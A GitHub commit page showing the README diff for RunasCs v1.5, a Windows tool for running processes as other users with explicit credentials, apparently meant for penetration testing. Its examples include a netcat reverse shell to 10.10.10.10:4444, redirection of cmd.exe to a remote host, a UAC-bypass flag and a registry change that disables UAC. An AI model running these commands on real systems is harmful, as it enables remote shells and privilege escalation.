Skip to content

Commit a1e47b5

Browse files
authored
Merge pull request #5 from antonioCoco/dev
RunasCs version 1.5
2 parents fa68553 + b0f57aa commit a1e47b5

File tree

3 files changed

+771
-583
lines changed

3 files changed

+771
-583
lines changed

Invoke-RunasCs.ps1

Lines changed: 76 additions & 50 deletions
Large diffs are not rendered by default.

README.md

Lines changed: 54 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ This tool is an improved and open version of windows builtin *runas.exe* that so
1111
* Uses more reliable create process functions like ``CreateProcessAsUser()`` and ``CreateProcessWithTokenW()`` if the calling process holds the required privileges (automatic detection)
1212
* Allows to specify the logon type, e.g. 8-NetworkCleartext logon (no *UAC* limitations)
1313
* Allows to bypass UAC when an administrator password is known (flag --bypass-uac)
14+
* Allows to create a process with the main thread impersonating the requested user (flag --remote-impersonation)
1415
* Allows redirecting *stdin*, *stdout* and *stderr* to a remote host
1516
* It's Open Source :)
1617

@@ -34,26 +35,26 @@ Based on the process caller token permissions, it will use one of the create pro
3435
----
3536

3637
```console
37-
RunasCs v1.4 - @splinter_code
38+
RunasCs v1.5 - @splinter_code
3839

3940
Usage:
40-
RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--create-profile] [--bypass-uac]
41+
RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]
4142

4243
Description:
4344
RunasCs is an utility to run specific processes under a different user account
4445
by specifying explicit credentials. In contrast to the default runas.exe command
45-
it supports different logon types and crateProcess functions to be used, depending
46+
it supports different logon types and CreateProcess* functions to be used, depending
4647
on your current permissions. Furthermore it allows input/output redirection (even
4748
to remote hosts) and you can specify the password directly on the command line.
4849

4950
Positional arguments:
5051
username username of the user
5152
password password of the user
52-
cmd command supported by cmd.exe if process_timeout>0
53-
commandline for the process if process_timeout=0
53+
cmd commandline for the process
54+
5455
Optional arguments:
5556
-d, --domain domain
56-
domain of the user, if in a domain.
57+
domain of the user, if in a domain.
5758
Default: ""
5859
-f, --function create_process_function
5960
CreateProcess function to use. When not specified
@@ -63,79 +64,80 @@ Optional arguments:
6364
1 - CreateProcessWithTokenW
6465
2 - CreateProcessWithLogonW
6566
-l, --logon-type logon_type
66-
the logon type for the spawned process.
67-
Default: "8" - NetworkCleartext
68-
-r, --remote host:port
69-
redirect stdin, stdout and stderr to a remote host.
70-
Using this option sets the process timeout to 0.
67+
the logon type for the token of the new process.
68+
Default: "2" - Interactive
7169
-t, --timeout process_timeout
7270
the waiting time (in ms) for the created process.
7371
This will halt RunasCs until the spawned process
7472
ends and sent the output back to the caller.
75-
If you set 0 no output will be retrieved and cmd.exe
76-
won't be used to spawn the process.
73+
If you set 0 no output will be retrieved and a
74+
background process will be created.
7775
Default: "120000"
78-
-p, --create-profile
79-
if this flag is specified RunasCs will force the
80-
creation of the user profile on the machine.
76+
-r, --remote host:port
77+
redirect stdin, stdout and stderr to a remote host.
78+
Using this option sets the process_timeout to 0.
79+
-p, --force-profile
80+
force the creation of the user profile on the machine.
8181
This will ensure the process will have the
8282
environment variables correctly set.
83-
NOTE: this will leave some forensics traces
84-
behind creating the user profile directory.
85-
Compatible only with -f flags:
86-
1 - CreateProcessWithTokenW
87-
2 - CreateProcessWithLogonW
88-
-b, --bypass-uac
89-
if this flag is specified RunasCs will try a UAC
90-
bypass to spawn a process without token limitation
91-
(not filtered).
83+
WARNING: If non-existent, it creates the user profile
84+
directory in the C:\Users folder.
85+
-b, --bypass-uac
86+
try a UAC bypass to spawn a process without
87+
token limitations (not filtered).
88+
-i, --remote-impersonation
89+
spawn a new process and assign the token of the
90+
logged on user to the main thread.
9291

9392
Examples:
94-
Run a command as a specific local user
95-
RunasCs.exe user1 password1 whoami
96-
Run a command as a specific domain user and interactive logon type (2)
97-
RunasCs.exe user1 password1 whoami -d domain -l 2
98-
Run a background/async process as a specific local user,
99-
RunasCs.exe user1 password1 "%COMSPEC% powershell -enc..." -t 0
93+
Run a command as a local user
94+
RunasCs.exe user1 password1 "cmd /c whoami /all"
95+
Run a command as a domain user and logon type as NetworkCleartext (8)
96+
RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
97+
Run a background process as a local user,
98+
RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
10099
Redirect stdin, stdout and stderr of the specified command to a remote host
101-
RunasCs.exe user1 password1 cmd.exe -r 10.10.10.24:4444
102-
Run a command simulating the /netonly flag of runas.exe
103-
RunasCs.exe user1 password1 whoami -d domain -l 9
100+
RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
101+
Run a command simulating the /netonly flag of runas.exe
102+
RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
104103
Run a command as an Administrator bypassing UAC
105-
RunasCs.exe adm1 password1 "whoami /priv" --bypass-uac
104+
RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
105+
Run a command as an Administrator through remote impersonation
106+
RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation
106107
```
107108

108109
The two processes (calling and called) will communicate through one *pipe* (both for *stdout* and *stderr*).
109-
The default logon type is 8 (*NetworkCleartext*).
110-
111-
**NetworkCleartext** logon type is the one with widest permissions as it doesn't get filtered by UAC in local tokens and still allows
112-
authentications over the Network as it stores credentials in the authentication package.
110+
The default logon type is 2 (*Interactive*).
113111

114-
If you set *Interactive* (2) logon type you will face some *UAC* restriction problems.
112+
By default, the *Interactive* (2) logon type is restricted by *UAC* and the generated token from these authentications are filtered.
115113
You can make interactive logon without any restrictions by setting the following regkey to 0 and restart the server:
116114

117115
```
118116
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
119117
```
120118

121-
Otherwise, you can try the flag **--bypass-uac** for an attempt in bypassing the token filtered limitation.
119+
Otherwise, you can try the flag **--bypass-uac** for an attempt in bypassing the token filtering limitation.
122120

123-
By default, the calling process (*RunasCs*) will wait until the end of the execution of the spawned process and will use
124-
``cmd.exe`` to manage *stdout* and *stderr*. If you need to spawn a background or async process, i.e. spawning a reverse shell,
125-
you need to set the parameter ``-t timeout`` to ``0``. In this case the process will be spawned without using ``cmd.exe``
126-
and *RunasCs* won't wait for the end of the execution.
121+
**NetworkCleartext (8)** logon type is the one with the widest permissions as it doesn't get filtered by UAC in local tokens and still allows
122+
authentications over the Network as it stores credentials in the authentication package. If you holds enough privileges, try to always specify this logon type through the flag --logon-type 8.
123+
124+
By default, the calling process (*RunasCs*) will wait until the end of the execution of the spawned process.
125+
If you need to spawn a background or async process, i.e. spawning a reverse shell, you need to set the parameter ``-t timeout`` to ``0``. In this case *RunasCs* won't wait for the end of the newly spawned process execution.
127126

128127
### References
129128

130129
----
131130

132-
* https://decoder.cloud/2018/01/13/potato-and-tokens/
133-
* https://github.com/dahall/Vanara
134-
* https://docs.microsoft.com/en-us/previous-versions/aa379608(v=vs.85)
135-
* https://support.microsoft.com/en-us/help/190351/how-to-spawn-console-processes-with-redirected-standard-handles
136-
* https://support.microsoft.com/en-us/help/327618/security-services-and-the-interactive-desktop-in-windows
137-
* https://blogs.msdn.microsoft.com/winsdk/2015/06/03/what-is-up-with-the-application-failed-to-initialize-properly-0xc0000142-error/
138-
131+
* [Potatoes and tokens](https://decoder.cloud/2018/01/13/potato-and-tokens/)
132+
* [Starting an Interactive Client Process in C++](https://docs.microsoft.com/en-us/previous-versions/aa379608(v=vs.85))
133+
* [Creating a Child Process with Redirected Input and Output](https://learn.microsoft.com/en-us/windows/win32/procthread/creating-a-child-process-with-redirected-input-and-output)
134+
* [Interactive Services](https://learn.microsoft.com/en-us/windows/win32/services/interactive-services)
135+
* [What is up with "The application failed to initialize properly (0xc0000142)" error?](https://blogs.msdn.microsoft.com/winsdk/2015/06/03/what-is-up-with-the-application-failed-to-initialize-properly-0xc0000142-error/)
136+
* [Getting an Interactive Service Account Shell](https://www.tiraniddo.dev/2020/02/getting-interactive-service-account.html)
137+
* [Reading Your Way Around UAC (Part 1)](https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html)
138+
* [Reading Your Way Around UAC (Part 2)](https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html)
139+
* [Reading Your Way Around UAC (Part 3)](https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-3.html)
140+
* [Vanara - A set of .NET libraries for Windows implementing PInvoke calls to many native Windows APIs with supporting wrappers](https://github.com/dahall/Vanara)
139141

140142
### Credits
141143

0 commit comments

Comments
 (0)